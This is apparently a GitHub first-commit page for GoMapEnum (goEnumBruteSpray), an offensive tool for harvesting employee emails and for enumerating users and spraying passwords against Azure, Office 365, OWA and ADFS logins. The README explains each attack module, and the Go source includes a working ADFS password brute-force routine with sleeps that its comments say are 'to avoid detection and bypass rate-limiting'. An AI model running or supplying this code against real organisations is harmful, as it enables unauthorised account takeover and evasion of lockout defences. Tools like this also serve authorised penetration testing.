Skip to content

Commit 82d4c22

Browse files
committed
first commit
0 parents  commit 82d4c22

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

52 files changed

+4328
-0
lines changed

LICENSE

Lines changed: 674 additions & 0 deletions
Large diffs are not rendered by default.

README.md

Lines changed: 65 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,65 @@
1+
# goEnumBruteSpray
2+
3+
## Description
4+
5+
### Summary
6+
The recommended module is o365 for user enumeration and passwords bruteforce / spray . Additional information can be retrieved to avoid account lockout, to know that the password is good but expired, MFA enabled,...
7+
8+
9+
### Linkedin
10+
This module should be used to retrieve a list of email addresses before validating them through a user enumeration module.
11+
The company will be searched on Linkedin and all people working at these companies will be returned in the specified format.
12+
13+
The Linkedin's session cookie `li_at` is required.
14+
15+
![User enumeration on owa](./images/linkedin-gather.png)
16+
17+
### SearchEngine
18+
This module should be used to retrieve a list of email addresses before validating them through a user enumeration module.
19+
The company name will be searched on Google and Bing with a dork to find people working in the company (`site:linkedin.com/in+"%s"`). The results title will be parsed to output email addresses in the specified format.
20+
21+
![User enumeration on owa](./images/searchEngine-gather.png)
22+
23+
### Azure
24+
#### User enumeration
25+
The Azure module is only available to enumerate the users of a tenant. The authentication request will be made on `https://autologon.microsoftazuread-sso.com`, a detailed response shows if the account does not exist, a MFA is required, if the account is locked, ...
26+
27+
![User enumeration on Azure](./images/azure-UserEnum.png)
28+
29+
30+
### ADFS
31+
#### Passwords bruteforce / spray
32+
The ADFS module is only available to bruteforce or spray a password. The authentication request is sent to `https://<target>/adfs/ls/idpinitiatedsignon.aspx?client-request-id=<randomGUID>&pullStatus=0`. An error message can informs the user if the password is expired
33+
34+
![Password bruteforce / spraying on ADFS](./images/adfs-brute.png)
35+
36+
### O365
37+
This module allows to enumerate users and bruteforce / spray passwords.
38+
39+
#### User enumeration
40+
Several modes are available: office, oauth2 and onedrive (not implemented yet). The office mode is recommended as no authentication is made. Oauth2 can retrieve additional information through [AADSTS error code](https://docs.microsoft.com/en-us/azure/active-directory/develop/reference-aadsts-error-codes) (MFA enable, locked account, disabled account)
41+
![Password bruteforce / spraying on o365](./images/o365-UserEnum.png)
42+
43+
#### Passwords bruteforce / spray
44+
As for the user enumeration, two modes are available: oauth2 and autodiscover (not implemented yet). The Oauth2 is the recommended mode, it allows to get much information thanks to the [AADSTS error code](https://docs.microsoft.com/en-us/azure/active-directory/develop/reference-aadsts-error-codes).
45+
46+
![User enumeration on o365](./images/o365-brute.png)
47+
48+
### OWA
49+
This module allows to enumerate users and bruteforce / spray passwords.
50+
51+
#### User enumeration
52+
Enumeration is made with authentication requests. Authentication for a non-existent user will take longer than for a valid user. At first, the average response time for an invalid user will be calculated and then the response time for each authentication request will be compared.
53+
54+
![User enumeration on owa](./images/owa-UserEnum.png)
55+
56+
#### Passwords bruteforce / spray
57+
Please note that no account locking mechanism can be implemented because no information about it is returned.
58+
59+
![Password bruteforce / spraying on owa](./images/owa-brute.png)
60+
61+
## Credits
62+
https://github.com/busterb/msmailprobe
63+
https://github.com/0xZDH/o365spray/
64+
https://github.com/xFreed0m/ADFSpray/
65+
https://github.com/m8r0wn/CrossLinked

go.mod

Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,8 @@
1+
module GoMapEnum
2+
3+
go 1.16
4+
5+
require (
6+
github.com/fatih/color v1.13.0
7+
github.com/spf13/cobra v1.2.1
8+
)

go.sum

Lines changed: 576 additions & 0 deletions
Large diffs are not rendered by default.

images/adfs-brute.png

210 KB
Loading

images/azure-UserEnum.png

60.6 KB
Loading

images/linkedin-gather.png

42.8 KB
Loading

images/o365-UserEnum.png

99.5 KB
Loading

images/o365-brute.png

94.2 KB
Loading

images/owa-UserEnum.png

155 KB
Loading

images/owa-brute.png

78.4 KB
Loading

images/searchEngine-gather.png

46.7 KB
Loading

src/.goreleaser.yml

Lines changed: 13 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,13 @@
1+
builds:
2+
- goos:
3+
- darwin
4+
- linux
5+
- windows
6+
goarch:
7+
- amd64
8+
- arm64
9+
archives:
10+
-
11+
format_overrides:
12+
- goos: windows
13+
format: zip

src/adfs/brute.go

Lines changed: 69 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,69 @@
1+
package adfs
2+
3+
import (
4+
"GoMapEnum/src/utils"
5+
"strconv"
6+
"strings"
7+
"sync"
8+
"time"
9+
)
10+
11+
// Brute will bruteforce or spray passwords on the specified users.
12+
func (options *Options) Brute() {
13+
log = options.Log
14+
var wg sync.WaitGroup
15+
// If the target is not specified, we will try to find the ADFS URL with the endpoint getuserrealm
16+
if options.Target == "" {
17+
options.Target = options.findTarget(options.Domain)
18+
if options.Target == "" {
19+
log.Error("The ADFS URL was not found")
20+
return
21+
}
22+
log.Verbose("An ADFS instance has been found on " + options.Target)
23+
}
24+
options.Users = utils.GetStringOrFile(options.Users)
25+
options.Passwords = utils.GetStringOrFile(options.Passwords)
26+
usersList := strings.Split(options.Users, "\n")
27+
passwordList := strings.Split(options.Passwords, "\n")
28+
29+
queue := make(chan string)
30+
31+
for i := 0; i < options.Thread; i++ {
32+
wg.Add(1)
33+
go func(i int) {
34+
defer wg.Done()
35+
var j = 0
36+
for email := range queue {
37+
// Sleep to avoid detection and bypass rate-limiting
38+
if options.Sleep != 0 {
39+
options.Log.Debug("Sleep " + strconv.Itoa(options.Sleep) + " seconds")
40+
time.Sleep(time.Duration(options.Sleep) * time.Second)
41+
}
42+
if options.NoBruteforce {
43+
options.brute(email, passwordList[j])
44+
45+
} else {
46+
for _, password := range passwordList {
47+
if options.brute(email, password) {
48+
break // No need to continue if password is valid
49+
}
50+
}
51+
}
52+
j++
53+
}
54+
55+
}(i)
56+
}
57+
58+
// Trim emails and send them to the pool of workers
59+
for _, user := range usersList {
60+
user = strings.ToValidUTF8(user, "")
61+
user = strings.Trim(user, "\r")
62+
user = strings.Trim(user, "\n")
63+
queue <- user
64+
}
65+
66+
close(queue)
67+
wg.Wait()
68+
69+
}

src/adfs/struct.go

Lines changed: 27 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,27 @@
1+
package adfs
2+
3+
import (
4+
"GoMapEnum/src/logger"
5+
"GoMapEnum/src/utils"
6+
)
7+
8+
var log *logger.Logger
9+
10+
type Options struct {
11+
Domain string
12+
utils.BaseOptions
13+
}
14+
15+
type userRealm struct {
16+
AuthNForwardType int64 `json:"AuthNForwardType"`
17+
AuthURL string `json:"AuthURL"`
18+
CloudInstanceIssuerURI string `json:"CloudInstanceIssuerUri"`
19+
CloudInstanceName string `json:"CloudInstanceName"`
20+
DomainName string `json:"DomainName"`
21+
FederationBrandName string `json:"FederationBrandName"`
22+
FederationGlobalVersion int64 `json:"FederationGlobalVersion"`
23+
Login string `json:"Login"`
24+
NameSpaceType string `json:"NameSpaceType"`
25+
State int64 `json:"State"`
26+
UserState int64 `json:"UserState"`
27+
}

src/adfs/utils.go

Lines changed: 102 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,102 @@
1+
package adfs
2+
3+
import (
4+
"GoMapEnum/src/utils"
5+
"crypto/tls"
6+
"encoding/json"
7+
"fmt"
8+
"io/ioutil"
9+
"net/http"
10+
"net/url"
11+
"strconv"
12+
"strings"
13+
)
14+
15+
var FIND_ADFS_URL = "https://login.microsoftonline.com/getuserrealm.srf?login=%s"
16+
var ADFS_URL = "https://%s/adfs/ls/idpinitiatedsignon.aspx?client-request-id=%s&pullStatus=0"
17+
18+
func (options *Options) brute(username, password string) bool {
19+
if len(strings.Split(username, "\\")) == 1 && len(strings.Split(username, "@")) == 1 {
20+
log.Error("Only email format or Domain\\user are supported, skipping " + username)
21+
return false
22+
}
23+
uuid, _ := utils.NewUUID()
24+
adfsUrl := fmt.Sprintf(ADFS_URL, options.Target, uuid)
25+
client := &http.Client{
26+
// Not follow the redirect
27+
CheckRedirect: func(req *http.Request, via []*http.Request) error {
28+
return http.ErrUseLastResponse
29+
},
30+
Transport: &http.Transport{
31+
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
32+
Proxy: options.Proxy,
33+
},
34+
}
35+
36+
// Get the cookie MSISSamlRequest
37+
data := url.Values{}
38+
data.Set("SignInIdpSite", "SignInIdpSite")
39+
data.Set("SignInSubmit", "Sign in")
40+
data.Set("SingleSignOut", "SingleSignOut")
41+
req, _ := http.NewRequest("POST", adfsUrl, strings.NewReader(data.Encode()))
42+
req.Header.Add("User-Agent", utils.GetUserAgent())
43+
req.Header.Add("Content-Type", "application/x-www-form-urlencoded")
44+
req.Header.Add("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8")
45+
resp, err := client.Do(req)
46+
if err != nil {
47+
log.Fatal("Error while sending the request: " + err.Error())
48+
}
49+
50+
// Authenticate
51+
data = url.Values{}
52+
data.Set("UserName", username)
53+
data.Set("Password", password)
54+
data.Set("AuthMethod", "FormsAuthentication")
55+
56+
req, _ = http.NewRequest("POST", adfsUrl, strings.NewReader(data.Encode()))
57+
req.Header.Add("User-Agent", utils.GetUserAgent())
58+
req.Header.Add("Content-Type", "application/x-www-form-urlencoded")
59+
req.Header.Add("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8")
60+
req.Header.Add("Cookie", "MSISSamlRequest="+resp.Cookies()[0].Value)
61+
resp, err = client.Do(req)
62+
body, _ := ioutil.ReadAll(resp.Body)
63+
if err != nil {
64+
log.Fatal("Error while sending the request: " + err.Error())
65+
}
66+
log.Debug("Status code: " + strconv.Itoa(resp.StatusCode))
67+
// Parse the response to know if the password match
68+
if resp.StatusCode == 302 {
69+
log.Success(username + " and " + password + " matched")
70+
return true
71+
} else if strings.Contains(string(body), "Your password has expired") {
72+
log.Success(username + " and " + password + " matched but the password is expired")
73+
return true
74+
} else {
75+
log.Fail(username + " and " + password + " does not matched")
76+
return false
77+
}
78+
79+
}
80+
81+
// findTarget try to find the ADFS url
82+
func (options *Options) findTarget(domain string) string {
83+
var target string
84+
url := fmt.Sprintf(FIND_ADFS_URL, domain)
85+
body, _, err := utils.GetBodyInWebsite(url, options.Proxy, nil)
86+
if err != nil {
87+
log.Error(err.Error())
88+
return ""
89+
}
90+
// Parse the response
91+
var userRealmResponse userRealm
92+
json.Unmarshal([]byte(body), &userRealmResponse)
93+
if userRealmResponse.NameSpaceType == "Unknown" {
94+
log.Error("Tenant " + domain + " not found")
95+
return ""
96+
} else if userRealmResponse.NameSpaceType == "Managed" {
97+
log.Error("Not ADFS found for " + domain)
98+
return ""
99+
}
100+
target = strings.Split(userRealmResponse.AuthURL, "/")[2]
101+
return target
102+
}

src/azure/struct.go

Lines changed: 29 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,29 @@
1+
package azure
2+
3+
import (
4+
"GoMapEnum/src/utils"
5+
)
6+
7+
type Options struct {
8+
utils.BaseOptions
9+
}
10+
11+
type azureResponse struct {
12+
Body struct {
13+
Fault struct {
14+
Detail struct {
15+
Text string `xml:",chardata"`
16+
Error struct {
17+
Text string `xml:",chardata"`
18+
Psf string `xml:"psf,attr"`
19+
Value string `xml:"value"`
20+
Internalerror struct {
21+
Chardata string `xml:",chardata"`
22+
Code string `xml:"code"`
23+
Text string `xml:"text"`
24+
} `xml:"internalerror"`
25+
} `xml:"error"`
26+
} `xml:"Detail"`
27+
} `xml:"Fault"`
28+
} `xml:"Body"`
29+
}

0 commit comments

Comments
 (0)